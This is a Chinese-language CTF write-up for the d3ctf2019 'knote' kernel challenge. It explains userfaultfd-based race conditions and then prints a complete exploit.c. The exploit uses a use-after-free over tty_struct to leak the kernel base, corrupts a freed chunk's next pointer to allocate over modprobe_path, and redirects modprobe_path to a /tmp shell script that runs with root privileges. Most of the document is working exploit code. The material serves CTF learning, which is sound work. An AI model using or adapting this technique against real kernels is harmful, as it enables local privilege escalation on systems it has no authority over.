linux kernel pwn学习之条件竞争(二)userfaultfd

userfaultfd、mobprobe_path、mod_tree的利用

userfaultfd是linux下的一直缺页处理机制，用户可以自定义函数来处理这种事件。所谓的缺页，就是所访问的页面还没有装入RAM中。比如mmap创建的堆，它实际上还没有装载到内存中，系统有自己默认的机制来处理，用户也可以自定义处理函数，在处理函数没有结束之前，缺页发生的位置将处于暂停状态。这将非常有助于条件竞争的利用。

举个栗子

假如在内核里有这样一段代码

如果，我们的user_buf是一块mmap映射的，并且未初始化的区域，此时就会触发缺页错误，copy_from_user将暂停执行，在暂停的这段时间内，我们开另一个线程，将ptr释放掉，再把其他结构申请到这里（比如tty_struct），然后当缺页处理结束后，copy_from_user恢复执行，然而ptr此时指向的是tty_struct结构，那么就能对tty_struct结构进行修改了。虽然说，不用缺页处理，也能造成条件竞争，但是几率比较小。而利用了缺页处理，几率将增加很大很大。

大概就是这个道理，我们来看看，如何注册userfaultfd吧，话不多说，这是模板，更详细的可以自行去看看文档。

为了更好的理解，我们以d3ctf2019-knote为例

d3ctf2019-knote

首先，查看一下启动脚本

发现开启了smep、smap机制，接下来，我们启动系统，查看一下内核版本

在linux 5以上，似乎很难ret2usr，貌似多了其他的机制，使得单纯修改cr4不起作用，以后慢慢研究。

然后，我们用IDA分析一下note.ko驱动文件

Ioctl定义了经典的增删改查操作

Add操作,有锁保护着，不担心多线程，size不能超过0xFFF

Delete操作，也没啥好说的

Edit操作全程没有加锁

Get操作也是全程没有加锁

那么思路很明显了，使用userfaultfd暂停copy_user_generic_unrolled函数，然后在另一个线程里趁机释放ptr，并把其他结构，比如tty_struct申请到这里，然后恢复copy_user_generic_unrolled的执行，从而达到对指定数据结构的读/写，之前，我在https://blog.csdn.net/seaaseesa/article/details/104591448这篇博客了讲到了可以伪造空闲堆的next指针，实现任意地址处分配，我们就可以利用这个。在linux kernel 5以上，似乎ROP到用户的区域变得困难，那么，我们有了另一个好方法，那就是劫持modprobe_path，modprobe_path执行了一个二进制文件，默认为/bin/ modprobe，当系统执行一个非法二进制文件(不是elf格式，也不是文本)的时候，就会去调用modprobe_path指向的程序。

内核调用call_modprobe函数执行mobprobe_path指向的文件，并且call_modprobe函数拥有root权限，我们只需要劫持mobprobe_path，指向我们提权的脚本，然后指向一个非法二进制，就能触发提权脚本的执行。

与mobprobe_path配套的还有mod_tree，这里记录着ko模块的加载地址，因此可以用来泄露模块地址。这两个变量的地址都能在/proc/kallsyms里找到，因此，我们可以得到它们的静态地址。

大概就是这样，直接上exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/mman.h>
//页大小
#define PAGE_SIZE 0x1000
//tty_struct的大小
#define TTY_STRUCT_SIZE 0X2E0
//cat /proc/kallsyms | grep modprobe_path
#define MOD_PROBE 0x145c5c0
//第二次利用时，堆统一的大小
//随便设置,过大过小都不好
#define CHUNK_SIZE 0x100
//modprobe_path的地址
size_t modprobe_path;//驱动的文件描述符
int fd;
//ptmx的文件描述符
int tty_fd;//传给驱动的数据结构
struct Data {union {size_t size; //大小size_t index; //下标};void *buf; //数据
};
void errExit(char *msg) {puts(msg);exit(-1);
}void initFD() {fd = open("/dev/knote",O_RDWR);if (fd < 0) {errExit("device open error!!");}
}
//创建一个节点
void kcreate(size_t size) {struct Data data;data.size = size;data.buf = NULL;ioctl(fd,0x1337,&data);
}
//删除一个节点
void kdelete(size_t index) {struct Data data;data.index = index;ioctl(fd,0x6666,&data);
}
//编辑一个节点
void kedit(size_t index,void *buf) {struct Data data;data.index = index;data.buf = buf;ioctl(fd,0x8888,&data);
}
//显示节点的内容
void kshow(size_t index,void *buf) {struct Data data;data.index = index;data.buf = buf;ioctl(fd,0x2333,&data);
}//注册一个userfaultfd来处理缺页错误
void registerUserfault(void *fault_page,void *handler)
{pthread_t thr;struct uffdio_api ua;struct uffdio_register ur;uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);ua.api = UFFD_API;ua.features    = 0;if (ioctl(uffd, UFFDIO_API, &ua) == -1)errExit("[-] ioctl-UFFDIO_API");ur.range.start = (unsigned long)fault_page; //我们要监视的区域ur.range.len   = PAGE_SIZE;ur.mode        = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理，当发生缺页时，程序会阻塞，此时，我们在另一个线程里操作errExit("[-] ioctl-UFFDIO_REGISTER");//开一个线程，接收错误的信号，然后处理int s = pthread_create(&thr, NULL,handler, (void*)uffd);if (s!=0)errExit("[-] pthread_create");
}//针对laekKernelBase时的缺页处理线程
//这个线程里，我们不需要做什么，仅仅是
//为了拖延阻塞时间，给子进程足够的时间
//来形成一个UAF
void* leak_handler(void *arg)
{struct uffd_msg msg;unsigned long uffd = (unsigned long)arg;puts("[+] leak_handler created");sleep(3); //休眠一下，留给子进程足够时间操作struct pollfd pollfd;int nready;pollfd.fd     = uffd;pollfd.events = POLLIN;//poll会阻塞，直到收到缺页错误的消息nready = poll(&pollfd, 1, -1);if (nready != 1)errExit("[-] Wrong pool return value");nready = read(uffd, &msg, sizeof(msg));if (nready <= 0) {errExit("[-]msg error!!");}char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)errExit("[-]mmap page error!!");struct uffdio_copy uc;//初始化page页memset(page, 0, sizeof(page));uc.src = (unsigned long)page;//出现缺页的位置uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;uc.len = PAGE_SIZE;uc.mode = 0;uc.copy = 0;//复制数据到缺页处，并恢复copy_user_generic_unrolled的执行//然而，我们在阻塞的这段时间，堆0的内容已经是tty_struct结构//因此，copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态ioctl(uffd, UFFDIO_COPY, &uc);puts("[+] leak_handler done!!");return NULL;
}//泄露内核地址
void leakKernelBase() {//创建一个与tty_struct结构大小相同的堆kcreate(TTY_STRUCT_SIZE);//用于接收kshow的内容，由于我们是用mmap映射的一块区域，传入kshow时，导致缺页错误，从而可以进入我们自定义的//处理函数里阻塞char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (user_buf == MAP_FAILED)errExit("[-] mmap user_buf error!!");//注册一个userfaultfd，监视user_buf处的缺页registerUserfault(user_buf,leak_handler);int pid = fork();if (pid < 0) {errExit("[-]fork error!!");} else if (pid == 0) { //子进程sleep(1); //让父进程先执行，进入userfaultfd阻塞，这样子线程可以为所欲为的操作kdelete(0); //删除我们创建的那个堆tty_fd = open("/dev/ptmx",O_RDWR); //这一步的作用是让tty_struct的结构申请到我们释放后的堆里，再用UAF就能泄露信息exit(0); //退出子进程} else {//父进程触发缺页错误，从而进入handle函数，阻塞，给子进程足够的操作时间kshow(0,user_buf);//现在，user_buf里存储着tty_struct结构，我们读出来，可以得到很多数据size_t *data = (size_t *)user_buf;if (data[7] == 0) { //没有数据，说明失败了munmap(user_buf, PAGE_SIZE);close(tty_fd);errExit("[-]leak data error!!");}close(tty_fd); //关闭ptmx设备,释放占用的空间//得到某函数的地址size_t x_fun_addr = data[0x56];//计算出内核基址size_t kernel_base = x_fun_addr - 0x5d4ef0;//当内核运行未知的二进制文件时，会调用modprobe_path指向的可执行文件//因此，我们的目的是劫持modprobe_path，指向一个shell文件即可modprobe_path = kernel_base + MOD_PROBE;printf("kernel_base=0x%lx\n",kernel_base);printf("modprobe_path=0x%lx\n",modprobe_path);}
}//针对writeHeapFD时的缺页处理线程
//这个线程里，我们要把modprobe_path的地址
//写进去
void* write_handler(void *arg)
{struct uffd_msg msg;unsigned long uffd = (unsigned long)arg;puts("[+] write_handler created");sleep(3); //休眠一下，留给子进程足够时间操作，形成UAFstruct pollfd pollfd;int nready;pollfd.fd     = uffd;pollfd.events = POLLIN;//poll会阻塞，直到收到缺页错误的消息nready = poll(&pollfd, 1, -1);if (nready != 1)errExit("[-] Wrong pool return value");nready = read(uffd, &msg, sizeof(msg));if (nready <= 0) {errExit("[-]msg error!!");}//断言是否是缺页的错误//assert(msg.event == UFFD_EVENT_PAGEFAULT);char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (page == MAP_FAILED)errExit("[-]mmap page error!!");struct uffdio_copy uc;//初始化page页memset(page, 0, sizeof(page));//写入modprobe_pathmemcpy(page,&modprobe_path,8);uc.src = (unsigned long)page;//出现缺页的位置uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;uc.len = PAGE_SIZE;uc.mode = 0;uc.copy = 0;//复制数据到缺页处，并恢复copy_user_generic_unrolled的执行//然而，我们在阻塞的这段时间，堆0被释放掉了，当恢复的时候//是向一个已经释放的堆写数据ioctl(uffd, UFFDIO_COPY, &uc);puts("[+] writek_handler done!!");return NULL;
}//条件竞争改写空闲堆块的next指针,使用与leakKernelBase同样的方法
void writeHeapFD() {kcreate(CHUNK_SIZE); //0//用于接收kedit的内容，由于我们是用mmap映射的一块区域，传入kedit时，导致缺页错误，从而可以进入我们自定义的//处理函数里阻塞char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);if (user_buf == MAP_FAILED)errExit("[-] mmap user_buf error!!");//注册一个userfaultfd，监视user_buf处的缺页registerUserfault(user_buf,write_handler);int pid = fork();if (pid < 0) {errExit("[-]fork error!!");} else if (pid == 0) { //子进程sleep(1); //让父进程先执行，进入userfaultfd阻塞kdelete(0); //删除堆，形成UAFexit(0);} else {kedit(0,user_buf); //触发缺页错误阻塞//kedit结束后，空闲块的next域已经写上了攻击目标的地址}}char tmp[0x100] = {0};
int main() {//初始化驱动initFD();//条件竞争泄露内核基址leakKernelBase();sleep(2);//将modprobe_path地址写到空闲堆的next指针处writeHeapFD();sleep(2);kcreate(CHUNK_SIZE); //0kcreate(CHUNK_SIZE); //1，分配到目标处strcpy(tmp,"/tmp/shell.sh");kedit(1,tmp); //将modprobe_path指向我们的shell文件//创建一个用于getshelll的脚本system("echo '#!/bin/sh' >> /tmp/shell.sh");system("echo 'chmod 777 /flag' >> /tmp/shell.sh");system("chmod +x /tmp/shell.sh");//创建一个非法的二进制文件，执行，触发shellsystem("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");system("chmod +x /tmp/fake");//触发shell执行，修改flag文件普通用户可以读写system("/tmp/fake");system("cat /flag");//结束程序时，会释放堆，但是我们的modprobe_path处不是合法的堆，会释放出错，导致内核崩溃重启sleep(3);return 0;
}

失败了可以多次尝试，最后成功得到flag